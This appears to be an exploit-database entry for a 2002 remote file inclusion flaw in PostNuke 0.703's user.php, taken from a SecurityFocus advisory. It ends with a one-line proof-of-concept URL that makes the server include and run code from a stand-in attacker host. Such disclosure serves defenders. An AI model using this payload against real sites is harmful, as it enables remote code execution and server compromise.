PostNuke 0.703 caselist Arbitrary Module Include Vulnerability

Exploit Datenbank (exploit-db.com)
CVE Datenbank (cve.mitre.org)
OSVDB Datenbank (osvdb.org)
Gerardo Vazquez, Eduardo Arriols 28.03.2002 Verified
Web Application Exploits PHP

Exploit Code

Code Download 
source: http://www.securityfocus.com/bid/4381/info

PostNuke is a content management system originally forked from the PHP-Nuke project. It is implemented in PHP, and available for Windows, Linux and other Unix based systems.

A vulnerability has been reported in some versions of PostNuke. Reportedly, it is possible to force the script user.php to include arbitrary modules. These files may be hosted remotely and contain arbitrary code, which will then be executed by the vulnerable system.

Other versions of PostNuke may share this vulnerability. This has not, however, been confirmed.

http://lame_host/user.php?caselist[bad_file.txt][path]=http://bad_host